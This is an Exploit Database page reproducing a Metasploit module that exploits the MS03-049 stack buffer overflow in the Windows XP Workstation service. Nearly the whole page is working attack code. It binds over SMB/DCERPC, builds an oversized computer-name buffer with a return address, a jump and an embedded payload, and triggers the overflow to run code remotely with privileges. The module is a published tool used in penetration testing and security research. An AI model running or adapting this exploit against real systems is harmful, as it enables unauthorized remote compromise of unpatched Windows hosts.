Microsoft Workstation Service – NetAddAlternateComputerName Overflow (MS03-049) (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16378/

• ##
  # $Id: ms03_049_netapi.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
  				function using the Workstation service in Windows XP.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0812' ],
  					[ 'OSVDB', '11461' ],
  					[ 'BID', '9011' ],
  					[ 'MSB', 'MS03-049' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' =>"\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'DefaultTarget'=> 0,
  			'Targets'=>
  				[
  					[ 'Windows XP SP0/SP1',
  						{
  							'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
  						}
  					],
  				],
  			'DisclosureDate' => 'Nov 11 2003'))
  
  		register_options(
  			[
  				OptString.new('SMBPIPE', [ true,"The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
  			], self.class)
  	end
  
  	def exploit
  
  		connect()
  		smb_login()
  
  		handle = dcerpc_handle(
  			'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
  			'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
  		)
  
  		print_status("Binding to #{handle} ...")
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		print_status("Building the stub data...")
  
  
  		name = rand_text_alphanumeric(5000)
  		name[3496, 4] = [target.ret].pack('V')
  		name[3492, 2] = "\xeb\x06"
  		name[3500, 5] = "\xe9" + [-3505].pack('V')
  		name[0, payload.encoded.length] = payload.encoded
  
  		stub =
  			NDR.long(rand(0xffffffff)) +
  			NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
  			NDR.long(rand(0xffffffff)) +
  			NDR.UnicodeConformantVaryingString(name) +
  			NDR.long(rand(0xffffffff)) +
  			NDR.UnicodeConformantVaryingString('') +
  			NDR.long(0) +
  			NDR.long(0)
  
  		print_status("Calling the vulnerable function...")
  
  		begin
  			dcerpc.call(0x1b, stub)
  		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  		rescue => e
  			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
  				raise e
  			end
  		end
  
  		# Cleanup
  		handler
  		disconnect
  	end
  
  end